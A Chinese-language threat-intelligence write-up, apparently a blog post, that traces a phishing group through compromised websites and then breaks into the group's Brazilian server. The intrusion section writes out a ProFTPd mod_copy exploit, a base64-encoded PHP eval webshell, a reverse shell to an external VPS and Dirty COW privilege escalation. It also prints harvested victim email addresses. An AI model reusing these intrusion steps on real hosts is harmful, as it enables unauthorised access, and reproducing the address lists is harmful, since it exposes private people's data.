⚡ root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt 1137 198.143.51.17 588 198.143.38.3 478 198.143.41.14 246 198.143.32.13 131 198.143.32.3 103 198.143.57.3 86 198.143.57.73 84 198.143.57.5 46 198.143.32.10 32 198.143.37.15 ......
⚡ root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 198.143.51.17 来自: 以色列 Incapsula
IP: 198.143.38.3 来自: 美国 Incapsula
IP: 198.143.41.14 来自: 美国 Incapsula
IP: 198.143.32.13 来自: 美国 Incapsula
IP: 198.143.32.3 来自: 美国 Incapsula
IP: 198.143.57.3 来自: 美国 Incapsula
IP: 198.143.57.73 来自: 美国 Incapsula
IP: 198.143.57.5 来自: 美国 Incapsula
IP: 198.143.32.10 来自: 美国 Incapsula
......
这个网站由于日志不全,提取出的IP大都是爬虫IP,所以不纳入最终的汇总。
4.5.3 发现钓鱼程序
网站 zebramedia.al
上发现多个攻击者放置的钓鱼程序和模板。
针对Dropbox
针对Gmail
4.6 关联分析
使用之前得到的后门文件中的关键字(config.php
)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同。
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' ./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
e5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
五、渗透攻击者肉鸡服务器
5.1 漏洞扫描
目标:187.85.134.4
HOST: 187.85.134.4(巴西)
OS: Ubuntu
Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
CMS: 未知
nmap --script=firewalk --traceroute 187.85.134.4
5.2 漏洞利用
端口扫描发现目标 FTP Server为ProFTPd 1.3.4a
,这个版本和1.3.5
存在未授权文件复制漏洞,我们可以通过这个漏洞往Web目录写入一个WebShell。
ProFTPd 1.3.5 Remote Command Execution(CVE-2015-3306) ProFTPD中使用的mod_copy模块存在未授权访问风险,导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp的情况被外部黑客所利用,对系统文件进行任意复制。
5.3 获取权限
使用用MSF执行
得到一个cmd功能的WebShell
写入中国菜刀客户端
http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php
5.4 文件分析
在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。
5.4.1 钓鱼模板
图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。
5.4.2 僵尸网络程序
5.4.3 DDOS脚本
5.4.4 邮箱地址
统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址。
⚡ root@kali /tmp/187.85.134.4/www/cat wc -l *.txt 624000 总用量
主流邮箱检索
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20 a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
a0000001.txt:a.lfer.gm@gmail.com
a0000001.txt:a.lieseijsink@gmail.com
a0000001.txt:a.linkhusen@gmail.com
a0000001.txt:a.loldrup@gmail.com
a0000001.txt:a.lovendahl@gmail.com
a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
a0000001.txt:a.lver.tadsmileyksso@gmail.com
a0000001.txt:a.m.edsberg@gmail.com
a0000001.txt:a.m.morcke@gmail.com
a0000001.txt:a.m.quist@gmail.com
a0000001.txt:a.m.svendsen@gmail.com
a0000001.txt:a.merete.p@gmail.com
a0000001.txt:a.mette.sm@gmail.com
a0000001.txt:a.miller8111@gmail.com
a0000001.txt:a.moejbaek@gmail.com
a0000001.txt:a.moltkehansen@gmail.com
a0000001.txt:a.munktved@gmail.com
a0000001.txt:a.n.knutzen@gmail.com
⚡ root@kali /tmp/187.85.134.4/www/cat grep "@outlook.com" *.txt |head -n 20 a0000001.txt:a.m.westra@outlook.com
a0000001.txt:a.olsen@outlook.com
a0000002.txt:aagren@outlook.com
a0000003.txt:aandanimalcity@outlook.com
a0000003.txt:aarhus-ungegruppe@outlook.com
a0000004.txt:aase.lousdal@outlook.com
a0000006.txt:abroschultz@outlook.com
a0000008.txt:adamfred2@outlook.com
a0000008.txt:adexecsolution@outlook.com
a0000010.txt:adrian.f.a.svendsen@outlook.com
a0000015.txt:aiah@outlook.com
a0000015.txt:aimeegarcia584@outlook.com
a0000016.txt:ajolicoeu@outlook.com
a0000018.txt:akstrup@outlook.com
a0000020.txt:alexander_bangsborg@outlook.com
a0000020.txt:alexanderkopke@outlook.com
a0000020.txt:ali__sivan@outlook.com
a0000021.txt:alicegerner@outlook.com
a0000022.txt:allanjeppesen@outlook.com
a0000023.txt:allworlduseu@outlook.com
⚡ root@kali /tmp/187.85.134.4/www/cat grep "@163.com" *.txt |head -n 20 a0000001.txt:a31a18615@163.com
a0000001.txt:a398c671@163.com
a0000059.txt:backlink0321@163.com
a0000061.txt:banqianm8256@163.com
a0000075.txt:bf86ad32@163.com
a0000121.txt:cbb146672@163.com
a0000129.txt:chenbin800519@163.com
a0000134.txt:chuofuh3082@163.com
a0000157.txt:davidhuang001@163.com
a0000162.txt:dfjiuew@163.com
a0000209.txt:f08dbf326@163.com
a0000213.txt:fanxued79193@163.com
a0000221.txt:fjfzpy@163.com
a0000227.txt:fon@163.com
a0000259.txt:guangdk@163.com
a0000311.txt:huhuanqiang00161@163.com
5.5 提权
5.5.1 CVE-2013-2094,CVE-2013-1763提权
查看apache日志目录,发现没有权限。
[/var/www/]$ls -al /var/log/apache2/ ls: cannot open directory /var/log/apache2/: Permission denied
内核版本为3.5.0-23
,尝试提权。
[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l
[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux
WebShell反弹:
[/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443 外网VPS监听:
socat file:`tty`,echo=0,raw tcp-listen:443
实际测试CVE-2013-2094,CVE-2013-1763
均无法提权。
CVE-2013-2094 Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)
CVE-2013-1763 Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation
5.5.2 脏牛提权
祭出大杀器CVE-2016-5195(脏牛) , 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。
在本地环境提权测试过程中发现,i386架构下使用cowroot提权时EXP会破坏源文件,导致提权失败。而使用dirtycow-mem仅修改内存则没有问题,但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权,前一个修改文件,后一个修改内存。
如图所示:
使用dirtycow-mem.c提权时需要注意:i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径,否则执行时找不到文件。
#define SHELLCODE "\x31\xc0\xc3" #define SPACE_SIZE 256 #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6 #define LOOP 0x1000000 #ifndef PAGE_SIZE #define PAGE_SIZE 4096
Give me root :),提权成功。
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10 [*] mmap 0xb73cb000 [*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp# [*] exploiting (unpatch) [*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)
root@medidor2:/tmp# id uid=0(root) gid=0(root) groups=0(root)
打包Apache日志。
✘ ⚡ root@kali ls /var/log/apache2
access error other_vhosts_access.log ✘ ⚡ root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/
✘ ⚡ root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz
[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
[proxychains] DLL init
--2011-11-11 11:11:11-- http://187.85.134.4/apache2-log.tar.gz
正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK
已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:9258688 (8.8M) [application/x-gzip]
正在保存至: “apache2-log.tar.gz”
apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s 2018-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])
5.6 分析日志
分析IP访问情况
⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt 95 185.56.80.138 77 197.211.60.52 70 67.71.3.8 59 207.35.210.35 41 99.226.207.46 41 193.215.40.238 39 197.211.59.163 38 82.61.95.132 38 66.249.73.95 37 76.26.34.181 37 197.234.221.77 31 105.112.27.60 29 105.112.23.41 20 109.166.138.68 16 66.249.79.61 16 197.211.61.18 14 212.100.77.191 12 197.234.221.210 8 66.249.79.35 8 66.249.73.64 7 154.118.69.165 5 66.249.73.67 ......
⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰
IP: 197.211.60.52 来自: 尼日利亚
IP: 67.71.3.8 来自: 加拿大
IP: 207.35.210.35 来自: 加拿大
IP: 99.226.207.46 来自: 加拿大
IP: 193.215.40.238 来自: 挪威
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国
IP: 197.234.221.77 来自: 贝宁
IP: 105.112.27.60 来自: 尼日利亚
IP: 105.112.23.41 来自: 尼日利亚
IP: 109.166.138.68 来自: 罗马尼亚
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚
IP: 212.100.77.191 来自: 尼日利亚
IP: 197.234.221.210 来自: 贝宁
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚
IP: 66.249.73.67 来自: Google 骨干网
......
根据路径名判断,疑似受害者访问了钓鱼页面。
⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0" 207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
查看web目录下txt文件访问情况,总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
⚡ root@kali ~/Desktop wc -l ip.txt 10101 ip.txt
5.7 访问IP热力图
5.7.1 IP转经纬度坐标
将获得的IP转换成经纬度坐标,再通过百度地图API生成热力图
将IP转换成经纬度坐标,脚本:
ip2xy.py
生成经纬度坐标文件:
point.js
全球IP库:
GeoLiteCity.dat
#!/usr/bin/python #coding:utf-8 import pandas as pd import pygeoip import types import sys
gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE) def getLocal(ip): if type(ip) != types.StringType: print ip return location = gi.record_by_addr(ip) if location is None: print ip return lng = location['longitude']
lat = location['latitude']
str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n' print ip,lng,lat,str_temp
file.write(str_temp)
file = open('/tmp/point.js', 'w')
file.write("var points =[\n") with open("/tmp/ip.txt") as f:
i = 0 for ip in f.readlines():
getLocal(ip)
file.write("];\n")
file.close()
5.7.2 调用百度地图API
本地调用百度地图 JavaScript API: map.html
<!DOCTYPE html> <html lang="en"> <head> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script> <script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script> <script type="text/javascript" src="./point.js"></script> <title>热力图功能示例</title> <style type="text/css"> ul,li{list-style: none;margin:0;padding:0;float:left;} html{height:100%} body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";} #container{height:100%;width:100%;} #r-result{width:100%;} </style> </head> <body> <div id="container"></div> <div id="r-result" style="display:none"> <input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();" value="关闭热力图"/> </div> </body> </html> <script type="text/javascript"> var map = new BMap.Map("container"); // 创建地图实例 var point = new BMap.Point(34.0224714118,109.0786868715);
map.centerAndZoom(point, 6); // 初始化地图,设置中心点坐标和地图级别 map.setCurrentCity("西安"); //设置当前显示城市 map.enableScrollWheelZoom(); // 允许滚轮缩放 if(!isSupportCanvas()){
alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')
} //详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md //参数说明如下: /* visible 热力图是否显示,默认为true
* opacity 热力的透明度,1-100
* radius 势力图的每个点的半径大小
* gradient {JSON} 热力图的渐变区间 . gradient如下所示
* {
.2:'rgb(0, 255, 255)',
.5:'rgb(0, 110, 255)',
.8:'rgb(100, 0, 255)'
}
其中 key 表示插值的位置, 0~1.
value 为颜色值.
*/ heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
map.addOverlay(heatmapOverlay);
heatmapOverlay.setDataSet({data:points,max:100}); //closeHeatmap(); //判断浏览区是否支持canvas function isSupportCanvas(){ var elem = document.createElement('canvas'); return !!(elem.getContext && elem.getContext('2d'));
} function setGradient(){ /*格式如下所示:
{
0:'rgb(102, 255, 0)',
.5:'rgb(255, 170, 0)',
1:'rgb(255, 0, 0)'
}*/ var gradient = {}; var colors = document.querySelectorAll("input[type='color']");
colors = [].slice.call(colors,0);
colors.forEach(function(ele){
gradient[ele.getAttribute("data-key")] = ele.value;
});
heatmapOverlay.setOptions({"gradient":gradient});
} function openHeatmap(){
heatmapOverlay.show();
} function closeHeatmap(){
heatmapOverlay.hide();
} </script> </body> </html>
5.7.3 生成热力图
如图所示,欧洲IP居多,亚洲也不少。至于有多少主机沦陷和多少受害者上钩,无法准确判断。
六、信息汇总
根据所得信息汇总,对这个黑客组织信息进行简单分析,仅供参考。
6.1 组织信息
名称:Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber
地区:巴勒斯坦
成员ID:Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4、AKEMI403
历史邮箱:alexsin54@yahoo.com、jasonchowan223@gmail.com、macacperus@yopmail.com、bidibidibidi@yopmail.com、bidi.pici11@hotmail.com、bidi.cuc@mail.com、flrnvasilica@gmail.com
组织主页:
6.2 攻击手段
入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序,批量传播钓鱼邮件。
攻击目标:
早期政治目的居多,主要攻击美国政府机构网站和雇员。近期多为商业目的,主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。
控制主机: 187.85.134.4
常用后门: 略
6.3 攻击历史
美国联邦调查局、美国国土安全部、美国司法部
巴勒斯坦黑客已经发布了大约2万名联邦调查局(FBI)和9,000名国土安全部(DHS)官员的个人信息
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html
通过钓鱼邮件获得美国司法部权限
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html
6.4 代理IP
174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" 178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
6.5 被黑网站
不完全统计 rosturplast.com mirohaviar.sk helioncomposites.com radiolanalhue.cl zebramedia.al www.qtfontebispo.com www.seoeaze.com vilapoucadeaguiar.com proyectosphr.cl u-p.com www.humanaconsultores.cl amsogroup.com www.tdftechnologies.com www.bvvagos.pt www.huellasdigitales.cl lince.apsl.edu.pl www.fica.unsl.edu.ar proyectosphr.cl www.zlobek.uw.edu.pl ifr.pt mail.ijrer.org www.hkmms.org.hk historia.apsl.edu.pl www.homeguide.com.sg onlinecombos.co.in umo.apsl.edu.pl www.bpmp2t.lombokbaratkab.go.id amsogroup.com viper.cl www.teniscavancha.cl www.estacaomedica.pt terrarestobar.cl jf-bragado.pt helioncomposites.com notariabasualto.cl ericdiblasi.com reinamarltda.cl cobraz.pt www.stmarypellaia.com webcam.wm-itservice.at
七、攻击路径还原
复盘整个溯源过程,还原攻击者攻击路径。
以上就是整个溯源过程,仅供参考。
*本文原创作者:信陵君魏无忌